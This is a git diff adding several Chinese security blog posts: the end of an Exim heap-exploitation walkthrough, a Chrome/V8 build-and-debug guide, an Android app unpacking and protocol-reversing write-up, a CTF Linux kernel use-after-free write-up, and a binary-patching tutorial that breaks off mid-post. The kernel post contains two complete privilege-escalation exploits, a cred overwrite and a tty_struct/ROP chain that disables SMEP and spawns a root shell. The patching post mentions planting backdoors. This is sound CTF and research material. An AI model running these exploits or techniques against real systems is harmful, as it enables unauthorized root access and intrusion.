+首先会分配一些东西。上一步 `yield_length ` 变成了 `0xa0`, 前面两个都比较小, `current_block` 可以满足需求。后面的`next->text = store_get(header_size)`, header_size最开始 为 0x100, 所以此时会重新分配一个 `block`,并且 `next->text` 会位于 `block` 的开始。 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513305821535dxt8bw6a.png?imageslim) + +符合预期。 + +``` +r.sendline(':BDAT \x7f') +``` +触发 `string_printing`,分配一小块内存。此时的 `current_block` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513306252691g22wjttm.png?imageslim) + +之后触发漏洞。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133062969665oyu1sko.png?imageslim) + +当触发 漏洞代码时, `store_extend` 会出错,因为 `next->text` 和空闲内存之间有在使用的内存。于是会触发 `store_get(header_size)` ,因为此时 空闲块的空间比较大 (0x1ee0), 所以会直接切割内存返回,然后 `store_release` 会释放这块内存。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151330818058602ut39gp.png?imageslim) + +可以看到`current_block` 被 `free` 并且被放到了 `unsorted bin`, 此时 `current_block` 的 `next` 和 `length` 变成了 `main_arena` 的地址(可以看看之前 block的结构图) +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513308325076mi9vpvsh.png?imageslim) + +当再次触发 `store_get`, 会遍历 `block->next`, 拿到 `main_arena`, 然后切割内存分配给我们 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513308508292aqt1i61a.png?imageslim) + + +之后的 `memcpy`我们就可以修改`main_arena`的数据了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151330875243837hyzkwi.png?imageslim) + +`getshell` 请看参考链接。(因为我没成功~_~) + + +**参考** + +https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/ + +https://paper.seebug.org/469/ + +https://paper.seebug.org/479/ + + +https://bugs.exim.org/show_bug.cgi?id=2199 \ No newline at end of file diff --git a/source/_posts/have_fun_with_chrome_part1.md b/source/_posts/have_fun_with_chrome_part1.md new file mode 100644 index 00000000..3afe81c8 --- /dev/null +++ b/source/_posts/have_fun_with_chrome_part1.md @@ -0,0 +1,138 @@ +--- +title: Play-with-chrome之环境搭建 +authorId: hac425 +tags: + - pwn chrome +categories: + - chrome +date: 2017-11-27 22:49:00 +--- +### 前言 +浏览器漏洞在 `APT` 攻击中用的比较多,而且这基本上是用户上网的标配了,所以研究浏览器的漏洞是十分有前景的,我认为。我选择 `chrome` 浏览器 ( `chromium`和 `chrome`之间的关系请自行百度 )为研究对象,主要原因如下: +- 用户基数大,大量的用户使用 `chrome` 或者由 `chrome` 改装的浏览器。 +- 安卓从 `4.4` 就已经开始使用 `chromium` 和 `v8` 作为 `webkit`,所以`chrome` 中的漏洞极有可能在 安卓上也有。 + + +工欲善其事,必先利其器 , 本文主要讲环境的搭建,包括 `chrome`的编译与调试 && `v8` 引擎到的编译与调试。 + + +测试环境 + +``` +Win10 64 位, Visual Studio 2015 +``` + + + +### 正文 + +#### Chrome编译 + +**Visual Studio 2015** + +如果你有比较稳定(**速度要快,不然得下特别久**)的 `翻墙` 方案,可以直接按照官方的教程来。 + +在不能 `翻墙` 时,可以按照我的方案来。 + +首先下载下面的资源, 其中包括 `chrome 58` 的源代码, 以及编译时需要的工具。 + +``` +链接: https://pan.baidu.com/s/1qXMy19U 密码: 49kx +``` + +然后下载安装 `Visual Studio 2015` , 在安装的时候除了 `移动开发相关` 的取消掉,其他的都选上,以免重来 , 要不然重新安装又得花特别长的时间。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511797573213lqdl1irn.png?imageslim) + +如果系统语言是 `中文` 的话还需要,修改 `非Unicode 程序的语言` 为 ` 英语(美国) ` , 如下图所示 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511797829186y0k8z77e.png?imageslim) + +**depot_tools** + +然后解压 `depot_tools-2017-1-ALL.rar` 到一个目录,目录名不要有 `空格`, `中文` 。然后把目录添加到环境变量,后面编译时要用到。 + +比如我的 `depot_tools` 的目录是 `D:\depot_tools\depot_tools` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15117981790191rhl9y6l.png?imageslim) + +然后新建一个 `DEPOT_TOOLS_WIN_TOOLCHAIN` 系统变量, 其值设为 `0`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511798411307ye1pwmcl.png?imageslim) + +**设置 chromium 源码** + + + +首先解压 `chromium` 到一个目录,然后解压 `develop-for-Stable-chromium-58.0.3029.81.zip` 文件,然后拷贝相应文件夹到 `chromium` 源码目录,覆盖掉相应的文件夹。 + +**编译** + +进入源码目录,执行命令,生成编译需要的文件和 `vs 2015` 的解决方案。 + +``` +gn gen out/Default --args="enable_nacl=false" +gn args out/Default --ide=vs +``` +然后使用 `ninja` 编译 +``` +ninja -C out\Default chrome +``` +如果没有问题,等几个小时就好了。然后会在 `out\Default` 下生成 `chrome.exe` 和相关的 `dll` 和 `pdb` 调试文件。 + + +**调试** + + +**方案一** + +使用 `Visual Studio 2015` 加载 `all.sln` 直接调试。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511800354896kkv4p42s.png?imageslim) + + + + +**方案二** + + +用 `Visual Studio 2015` 会非常的慢, 可以使用 `windbg preview` 调试,图形化,而且快,也有 `windbg` 的强大功能 + + +`windbg preview` 可以在 `windows store` 下载 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512744068940bhb543ao.png?imageslim) + +打开点击 左上角 `文件`, 根据情况设置好即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512744193260miecf7qu.png?imageslim) + +这里以 调试 `node` 为例 (原因是 `node` 使用 `v8` ) + +首先进入 `settings` 设置符号路径。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15127443375937hbphlup.png?imageslim) +然后根据上上图设置调试的程序 和 参数。 点击 `ok` 运行之 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512744412429sbp9bh3z.png?imageslim) + +设置断点,断点断下来后可以直接定位到源码(自己编译) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512745006342lg0jlhf3.png?imageslim) +调试信息非常的直观 + + +### 编译 node + +有时漏洞是位于 `v8` 引擎里面的。 我们可以使用 `node` 或者 `d8`来调试 `v8` ,这样调试速度比较快。 + +`node` 可以去 淘宝的 [镜像](https://npm.taobao.org/mirrors/node) 里面下载, 这样速度快。 + +下载完后,解压。如果是在 `windows` 下编译,先运行 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512746124924rwpwxyab.png?imageslim) + +生成 `vs` 解决方案,然后编译就行了。 +如果在 `linux` 下 直接 + +``` +./configure --debug && make -j8 +``` diff --git a/source/_posts/legu_android_readboy_burp.md b/source/_posts/legu_android_readboy_burp.md new file mode 100644 index 00000000..4fa71cda --- /dev/null +++ b/source/_posts/legu_android_readboy_burp.md @@ -0,0 +1,131 @@ +--- +title: 安卓脱壳&&协议分析&&burp辅助分析插件编写 +authorId: hac425 +tags: + - protocol analysis +categories: + - 安卓安全 +date: 2017-12-15 18:47:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +本文以一个 `app` 为例,演示对 `app`脱壳,然后分析其 协议加密和签名方法,然后编写 `burp` 脚本以方便后面的测试。 + +文中涉及的文件,脱壳后的 dex 都在: + + +链接: https://pan.baidu.com/s/1nvmUdq5 密码: isrr + + +对于 burp 扩展和后面加解密登录数据包工具的的源码,直接用 `jd-gui` 反编译 `jar` 包即可。 +### 正文 +首先下载目标 `apk` ,然后拖到 `GDA` 里面看看有没有壳。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513337474227b39j3jxc.png?imageslim) + +发现是腾讯加固,可以通过修改 `dex2oat` 的源码进行脱壳。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513337565769bn64zn4n.png?imageslim) + +具体可以看: https://bbs.pediy.com/thread-210275.htm + +脱完壳 `dex`文件,扔到 `jeb` 里面进行分析(GDA分析能力还是不太强,不过速度快) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513337779278qey46atq.png?imageslim) + +类和方法都出来了,脱壳成功。 + +首先看看协议抓取,建议自己电脑起一个 `ap` (热点), 然后用手机连接热点,对于 `http` 的数据包,可以使用 `burp` 进行抓取(对于 `https` 还要记得先安装 `burp` 的证书),对于 `tcp` 的数据包,由于我们是连接的 电脑的 `wifi` 所以我们可以直接用 `wireshark` 抓取我们网卡的数据包就能抓到手机的数据包。对于笔记本,可以买个无线网卡。 + +首先看看注册数据包的抓取,设置好代理,选择注册功能,然后去 `burp` 里面,可以看到抓取的数据包。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513338240458s36epujq.png?imageslim) + + +对于登录数据包,点击登录功能,去发现 `burp` 无法抓到数据包, 怀疑使用了 `tcp` 发送请求数据,于是开启 `wireshark` 抓取 手机连接的热点到的网卡的数据包。抓取时间要短一些,不然找信息就很麻烦了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513341008341rq8wpav3.png?imageslim) + +然后我们一个一个 `tcp` 数据包查看,看看有没有什么特殊的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513341090053skcv5yui.png?imageslim) +发现一个数据包里面有 `base64` 加密的数据,猜测这个应该就是登陆的数据包。查了一下 `ip` ,应该就是了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513341353754c2w3pkwy.png?imageslim) + +下面针对不同类型的协议加密措施进行分析。 + + +**HTTP协议** + +协议分析关键是找到加密解密的函数,可以使用关键字搜索定位。为了方便搜索,先把 `dex` 转成 `smali` 然后用文本搜索工具搜索就行了,我使用 `android killer`。在这里可以使用 `sn` , `verify` 等关键词进行搜索,定位关键代码。我选择了 `verify` ,因为它搜出的结果较少。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513341792672zmzhh519.png?imageslim) +函数没经过混淆,看函数名就可以大概猜出了作用,找到关键方法,拿起 `jeb` 分析之。 +先来看看 `LoginReg2_Activity` 的 `onCreate` 方法。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513341951766jsqhhzy2.png?imageslim) + +获取手机号进入了 `XHttpApi.getVerify` 方法,跟进 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151334205737726n8kfgz.png?imageslim) +先调用了 `XHttpApi.addSnToParams(params)` (看名称估计他就是增加签名的函数了),然后发送 `post` 请求。 + +继续跟进 `XHttpApi.addSnToParams` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133421932295dvpmsnb.png?imageslim) +至此签名方案非常清晰了。 +- 获取时间戳,新增一个 `t` 的参数,值为 时间戳 +- `md5("AndroidWear65cbcdeef24de25e5ed45338f06a1b37" + time_stamp)` 为 `sn` + +由于有时间戳和签名的存在,而且服务器会检测时间戳,后续如果我们想测试一些东西,就需要过一段时间就要计算一下 签名和时间戳,这样非常麻烦,我们可以使用 `burp` 编写插件,自动的修改 时间戳和 签名,这样可以大大的减少我们的工作量。 + +看看关键的源代码 + +首先注册一个 `HttpListener`, 这样 `burp` 的流量就会经过我们的扩展。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513342650132r1v1tcbd.png?imageslim) +然后看看 `processHttpMessage`对流经扩展的流量进行处理的逻辑。只处理 `http` 请求的数据,然后根据域名过滤处理的数据包,只对 `wear.readboy.com` 进行处理。接着对于数据包中的 `t` 参数和 `sn` 参数进行重新计算,并且修改 数据包中的对应值。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513342872069y1xwfms2.png?imageslim) +加载扩展,以后重放数据包,就不用管签名的问题了。 + + + +**TCP** + +对于 `tcp` 的协议可以通过搜索 端口号,`ip` 地址等进行定位,这里搜索 `端口号`(这里是`8866`, 可以在 `wireshark` 中查看),有一点要注意,程序中可能会用 `16` 进制或者 `10` 进制表示端口号为了,保险起见建议两种表示方式都搜一下。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513343281055sjrlbm36.png?imageslim) + +通过搜索 `0x22a2` (`8866` 的 `16` 进制表示)找到两个可能的位置。分别检查发现 第二个没啥用,在 `jeb` 中查找交叉引用都没有,于是忽略之。然后看看第一个。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513343724882zalp55el.png?imageslim) +可以看到 `jeb` 把端口号都转成了 `10` 进制数,这里与服务器进行了连接,没有什么有用的信息。于是上下翻翻了这个类里面的函数发现一个有意思的函数。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133438596375b7az3lq.png?imageslim) +用于发送数据,里面还用了另外一个类的方法,一个一个看,找到了加密方法。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513343943270gionovo1.png?imageslim) + +就是简单的 `rc4` 加密,然后在 `base64` 编码。 +为了测试的方便写了个图形化的解密软件。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513344074547va5a339l.png?imageslim) + +用 `nc` 测试之 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513344169166j8m5j980.png?imageslim) +正确。 + + +### 总结 +不要怕麻烦,一些东西尽早脚本化,自动化,减轻工作量。逆向分析,搜索关键字,定位关键代码。 + +### 参考 + +http://www.vuln.cn/6100 + +http://www.freebuf.com/articles/terminal/106673.html \ No newline at end of file diff --git a/source/_posts/linux_kernel_uaf_exploit.md b/source/_posts/linux_kernel_uaf_exploit.md new file mode 100644 index 00000000..6743e53b --- /dev/null +++ b/source/_posts/linux_kernel_uaf_exploit.md @@ -0,0 +1,373 @@ +--- +title: linux_kernel_uaf漏洞利用实战 +authorId: hac425 +tags: + - modify cred + - kernel rop +categories: + - kernel +date: 2017-12-18 11:41:00 +--- +### 前言 +好像是国赛的一道题。一个 `linux` 的内核题目。漏洞比较简单,可以作为入门。 + +题目链接: [在这里](https://gitee.com/hac425/blog_data/blob/master/babydriver_0D09567FACCD2E891578AA83ED3BABA7.tar) + + + + +### 正文 +题目给了3个文件 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513568679114vw66vm9k.png?imageslim) + +分配是 根文件系统 , 内核镜像, 启动脚本。解压运行 `boot.sh` 即可。 `vmware` 需要开启一个选项。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513568739772tfmi3nva.png?imageslim) + +使用 `lsmod` 可以找到加载的内核模块,以及它的加载地址。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513568821368hkanluaq.png?imageslim) +多次启动发现,地址都没有变化,说明没有开启 `kaslr` ,从 `boot.sh` 中查看 `qemu` 启动选项 + +``` +qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep +``` +发现开启了 `smep`. + +然后解压 `rootfs.cpio`, 拿出内核模块文件,用 `ida` 分析之。 + +使用 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513569109927l3as9qor.png?imageslim) + +解开 `rootfs.cpis` ,可以使用 `find` 命令搜索 `babydriver`, 可知 内核模块文件位于 `lib/modules/4.4.72/babydriver.ko`, 然后放到 `ida` 里面分析即可。 + + +使用 `open` 开启设备时会,分配一块内存到 `babydev_struct.device_buf ` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15135693016061fjw1ur0.png?imageslim) + +关闭设备时会直接 `kfree` 掉 `babydev_struct.device_buf`. +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513569353266d64hcmf1.png?imageslim) + +`read` 和 `write` 非常正常的操作。 + +`ioctl` 时我们可以让 驱动 重新分配我们想要的大小的内存。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513569436033sy1xc56v.png?imageslim) + +程序的漏洞在于 `babydev_struct` 是一个全局变量,所以如果我们打开两次该设备,就会有两个 `fd` 可以操作这个结构体,然后释放掉一个,另外剩下的那个就会指向一块已经 `free` 掉的内存, `UAF`. + + +由于开启了 `smep` ,我们不能使用 `ret2user`的攻击方式。下面介绍两种利用方法。 + + +**修改 cred ** + + + + +- 进程的权限由 `uid` 决定,所以我们可以通过 `ioctl` 分配和 `cred`结构体同样大小的内存块 + +- 然后触发漏洞,`free` 掉它,接着通过 `fork` 创建进程,这样该进程的 `cred` 结构体就会使用刚刚 `free` 掉的内存。 + +- 而此时我们可以使用 `babydriver` 的 `write` 功能修改这块内存。 + +- 我们可以修改 `cred` 结构体中代表 `uid` 的区域 为 `0`,就实现了 `root` + +**exp** + + +``` + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define CRED_SIZE 168 +#define DEV_NAME "/dev/babydev" + +char buf[100]; + +int main() +{ + int fd1, fd2, ret; + char zero_buf[100]; + memset(zero_buf, 0, sizeof(char) * 100); + fd1 = open(DEV_NAME, O_RDWR); + fd2 = open(DEV_NAME, O_RDWR); + // 首先通过ioctl改变第一次open的内存大小,使其和cred结构体一样大小 + ret = ioctl(fd1, 0x10001, CRED_SIZE); + // release第一次open,释放一个cred结构体一样大小的内存 + close(fd1); + // fork一个新进程来创建一个cred结构体,这个cred结构体就会用刚刚释放的内存,即UAF内存空间 + int now_uid = 1000; // 当前uid为1000 + int pid = fork(); + if (pid < 0) { + perror("fork error"); + return 0; + } + + if (!pid) { + // 写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了 + ret = write(fd2, zero_buf, 28); + now_uid = getuid(); + if (!now_uid) { + printf("get root done\n"); + // 权限修改完毕,启动一个shell,就是root的shell了 + system("/bin/sh"); + exit(0); + } else { + puts("failed?"); + exit(0); + } + } else { + wait(NULL); + } + close(fd2); + return 0; +} +``` + + +**利用tty_struct** + +`smep` 只是不能执行用户态的代码,我们还是可以使用 用户态的数据的。我们可以通过 `rop` 来关闭 `smep`, 然后再在使用 `ret2user` 的技术进行提权。 + + + +首先我们需要控制 `rip`, 可以通过 触发 `uaf` 后,多次分配 `tty_struct` 来占坑,然后使用 `write` 修改 `tty_operations` 的指针到我们伪造的 `tty_operations` 结构体 就可以控制 `rip` 了。 + +要进行 `rop` 我们需要一个可控的 栈 。 + +这里使用 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513574135523zry5hfcd.png?imageslim) +因为在调用 `tty_operations` 里面的函数时,最后一步是 `call rax`, 所以进入到这里时 的 `rax` 就为 `0xffffffff81007808` 这是一个 内核的内存地址,不过它的低 `32` 位,也即 `eax` 为 `0x81007808`,是一个 用户态的地址,我们是可以通过 `mmap` 拿到的,所以思路就是,首先通过 `mmap` 在 `0x81007808` 处布置好 `rop_chain` 然后 设置 `tty_operations` 里面的其中一个函数指针为 `xchg esp,eax` 的地址,然后调用之,就会进入 `rop` 了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513574511704as7xnbvd.png?imageslim) + + +`xchg esp,eax`之后,可以发现 `rsp` 被劫持到我们可控的数据区了,接下来就是通过 `rop` 关闭 `semp`, 然后 `ret2user` 提权即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513574411861iv40raps.png?imageslim) + + +**exp** + +``` +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TTY_STRUCT_SIZE 0x2e0 +#define SPRAY_ALLOC_TIMES 0x100 + +int spray_fd[0x100]; + +/* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示 +tty_struct: +int magic; // 4 +struct kref kref; // 4 +struct device *dev; // 8 +struct tty_driver *driver; // 8 +const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24 +[...] +*/ + +struct tty_operations { + struct tty_struct * (*lookup)(struct tty_driver *driver, + struct file *filp, int idx); + int (*install)(struct tty_driver *driver, struct tty_struct *tty); + void (*remove)(struct tty_driver *driver, struct tty_struct *tty); + int (*open)(struct tty_struct * tty, struct file * filp); + void (*close)(struct tty_struct * tty, struct file * filp); + void (*shutdown)(struct tty_struct *tty); + void (*cleanup)(struct tty_struct *tty); + int (*write)(struct tty_struct * tty, + const unsigned char *buf, int count); + int (*put_char)(struct tty_struct *tty, unsigned char ch); + void (*flush_chars)(struct tty_struct *tty); + int (*write_room)(struct tty_struct *tty); + int (*chars_in_buffer)(struct tty_struct *tty); + int (*ioctl)(struct tty_struct *tty, + unsigned int cmd, unsigned long arg); + long (*compat_ioctl)(struct tty_struct *tty, + unsigned int cmd, unsigned long arg); + void (*set_termios)(struct tty_struct *tty, struct ktermios * old); + void (*throttle)(struct tty_struct * tty); + void (*unthrottle)(struct tty_struct * tty); + void (*stop)(struct tty_struct *tty); + void (*start)(struct tty_struct *tty); + void (*hangup)(struct tty_struct *tty); + int (*break_ctl)(struct tty_struct *tty, int state); + void (*flush_buffer)(struct tty_struct *tty); + void (*set_ldisc)(struct tty_struct *tty); + void (*wait_until_sent)(struct tty_struct *tty, int timeout); + void (*send_xchar)(struct tty_struct *tty, char ch); + int (*tiocmget)(struct tty_struct *tty); + int (*tiocmset)(struct tty_struct *tty, + unsigned int set, unsigned int clear); + int (*resize)(struct tty_struct *tty, struct winsize *ws); + int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); + int (*get_icount)(struct tty_struct *tty, + struct serial_icounter_struct *icount); + const struct file_operations *proc_fops; +}; + +typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); + +/* Gadgets */ +_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; +_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810; +unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep +unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈 +unsigned long poprdiret = 0xFFFFFFFF813E7D6F; +//unsigned long iretq = 0xFFFFFFFF8181A797; +unsigned long iretq = 0xffffffff814e35ef; +unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备 + +/* status */ +unsigned long user_cs, user_ss, user_rflags; +void save_stats() { + asm( + "movq %%cs, %0\n" // mov rcx, cs + "movq %%ss, %1\n" // mov rdx, ss + "pushfq\n" // 把rflags的值压栈 + "popq %2\n" // pop rax + :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax + ); +} + +void get_shell() { + system("/bin/sh"); +} + +void get_root() { + commit_creds(prepare_kernel_cred(0)); +} + +void exploit() { + int i; + char *buf = (char*)malloc(0x1000); + struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations)); + + save_stats(); + + memset(fake_tty_operations, 0, sizeof(struct tty_operations)); + fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令 + + int fd1 = open("/dev/babydev", O_RDWR); + int fd2 = open("/dev/babydev", O_RDWR); + + ioctl(fd1, 0x10001, TTY_STRUCT_SIZE); + write(fd2, "hello world", strlen("hello world")); + close(fd1); + + // spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的 + puts("[+] Spraying buffer with tty_struct"); + for (i = 0; i < SPRAY_ALLOC_TIMES; i++) { + spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); + if (spray_fd[i] < 0) { + perror("open tty"); + } + } + + // 现在有一个tty_struct落在了UAF区域里 + puts("[+] Reading buffer content from kernel buffer"); + long size = read(fd2, buf, 32); + if (size < 32) { + puts("[-] Reading not complete!"); + printf("[-] Only %ld bytes read.\n", size); + } + + + // 检查喷射是否成功 + puts("[+] Detecting buffer content type"); + if (buf[0] != 0x01 || buf[1] != 0x54) { + puts("[-] tty_struct spray failed"); + printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]); + puts("[-] Exiting..."); + exit(-1); + } + // 设置tty_operations为伪造的操作 + puts("[+] Spray complete. Modifying function pointer"); + unsigned long *temp = (unsigned long *)&buf[24]; + *temp = (unsigned long)fake_tty_operations; + + puts("[+] Preparing ROP chain"); + unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF; + unsigned long base = lower_address & ~0xfff; + printf("[+] Base address is %lx\n", base); + if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) { + perror("mmap"); + exit(1); + } + + unsigned long rop_chain[] = { + poprdiret, + 0x6f0, + native_write_cr4, // cr4 = 0x6f0 + (unsigned long)get_root, + swapgs, // swapgs; pop rbp; ret + base, // rbp = base + iretq, + (unsigned long)get_shell, + user_cs, + user_rflags, + base + 0x10000, + user_ss + }; + memcpy((void*)lower_address, rop_chain, sizeof(rop_chain)); + puts("[+] Writing function pointer to the driver"); + long len = write(fd2, buf, 32); + if (len < 0) { + perror("write"); + exit(1); + } + + puts("[+] Triggering"); + for (i = 0;i < SPRAY_ALLOC_TIMES; i++) { + ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax + } +} + +int main() { + exploit(); + return 0; +} +``` + + + +### 最后 + + 内核态和用户态其实也差不多,主要就是对内存机制要非常了解。 `xchg esp, eax` 然后 `mmap` 即可控制 栈数据, 这个技巧确实厉害。使用 `gef` 没法调内核,换了 `pwndbg` 就可以了. + + + + + + +**参考** + + http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/ + + http://bobao.360.cn/learning/detail/4148.html \ No newline at end of file diff --git a/source/_posts/patch_file_methods.md b/source/_posts/patch_file_methods.md new file mode 100644 index 00000000..d26246d4 --- /dev/null +++ b/source/_posts/patch_file_methods.md @@ -0,0 +1,311 @@ +--- +title: 可执行文件patch技术&&持续更新 +authorId: hac425 +tags: + - patch + - elf patch + - pe patch + - mach-o patch + - ctf +categories: + - 文件patch +date: 2017-11-07 21:51:00 +--- +### 前言 +在ctf比赛中, 有时我们需要对可执行文件进行patch, 或者在植入后门时,patch也是常用的手段。不过手工patch比较麻烦,下面介绍几个工具。本文介绍遇到的各种技术,不断更新。 + +### ELF + + + +#### Patchkit +地址: +https://github.com/lunixbochs/patchkit.git + +1.由于链接器的原因暂时还不能使用 libc 中的函数,所以所有要做的事情都需要我们自己实现。用 c 或者 asm + +- `pt.patch(addr,jmp=jmp_addr)` 用于修改程序流程。 +- `pt.hook(addr, target)` 用于劫持程序流程,进行参数过滤。 + + +使用方式:`./patch binary_file patch.py` + +过滤printf中 %n 的脚本。 + +``` +def replace_free(pt): + printf_addr = 0x400548;// call printf 时的地址 + new_printf = pt.inject(c=r''' +void fix_printf(char *fmt) { + for (int i = 0; fmt[i]; ++i) + { + if (fmt[i] == '%' && fmt[i+1] == 'n') { + //找到后,通过前移的方式删除字符,每次删掉一个。 + int len=0; + int j; + while(fmt[len++]){ + } + for(j=i;j +#include +int main(int argc, char** argv) { + puts("/bin/sh"); + return EXIT_SUCCESS; +} +``` + +我们的目标是让他调用 `puts` 变成调用 `system` + +**方案一** + +修改 libc 中的相关符号,然后使用 `LD_LIBRARY_PATH` 加载我们修改后的库。 + +``` +import lief + +hashme = lief.parse("hashme") +libc = lief.parse("/lib/x86_64-linux-gnu/libc-2.23.so") + +# get puts, system symbol +puts_sym = filter(lambda e: e.name == "puts", libc.dynamic_symbols)[0] +system_sym = filter(lambda e: e.name == "system", libc.dynamic_symbols)[0] + +# swap them +puts_sym.name = "system" +system_sym.name = "puts" +libc.write("libc.so.6") + +print("done") + +``` + +首先拿到 puts 和 system 符号对象,然后交换他们的名称。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1510064081347di3rwx94.png?imageslim) +成功 + +**方案二** + +直接修改目标文件的导入符号,代码如下 + +``` +import lief + +hashme = lief.parse("hashme") + +# get puts, system symbol +puts_sym = filter(lambda e: e.name == "puts", hashme.imported_symbols)[0] + +# set puts to system +puts_sym.name = "system" + +hashme.write("hashme.patch") +print("done") + +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1510064333755d675x70o.png?imageslim) + + +**直接增加代码进行patch** + + +###### 修改库函数 +测试程序: + +``` +#include +#include +#include + +int main(int argc, char **argv) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + exit(-1); + } + + int a = atoi(argv[1]); + printf("exp(%d) = %f\n", a, exp(a)); + return 0; +} +``` + +目标是hook `exp` 函数,直接增加一个 `segments` , 然后劫持函数指针到这里。首先编译一个 `lib` 用来提供用于 `hook` 的代码。 + +``` +gcc -Os -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook +``` +hook.c 的内容: + +``` +double hook(double x) { + return x + 100; +} + +``` + +然后看脚本内容,很清晰。 +``` + +import lief + +libm = lief.parse("/lib/x86_64-linux-gnu/libm-2.23.so") +hook = lief.parse("hook") + +segment_added = libm.add(hook.segments[0]) + +print("Hook inserted at VA: 0x{:06x}".format(segment_added.virtual_address)) + +exp_symbol = libm.get_symbol("exp") +hook_symbol = hook.get_symbol("hook") + +exp_symbol.value = segment_added.virtual_address + hook_symbol.value + +libm.write("libm.so.6") + +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1510065215828nuiov7ys.png?imageslim) + +##### 通过 got/plt 表 直接劫持程序 +测试程序 +``` +#include +#include +#include + +// Damn_YoU_Got_The_Flag +char password[] = "\x18\x3d\x31\x32\x03\x05\x33\x09\x03\x1b\x33\x28\x03\x08\x34\x39\x03\x1a\x30\x3d\x3b"; + +inline int check(char* input); + +int check(char* input) { + for (int i = 0; i < sizeof(password) - 1; ++i) { + password[i] ^= 0x5c; + } + return memcmp(password, input, sizeof(password) - 1); +} + +int main(int argc, char **argv) { + + if (check(argv[1]) == 0) { + puts("You got it !!"); + return EXIT_SUCCESS; + } + + puts("Wrong"); + return EXIT_FAILURE; + +} + + +``` +`hook.c` 内容,hook memcpy, 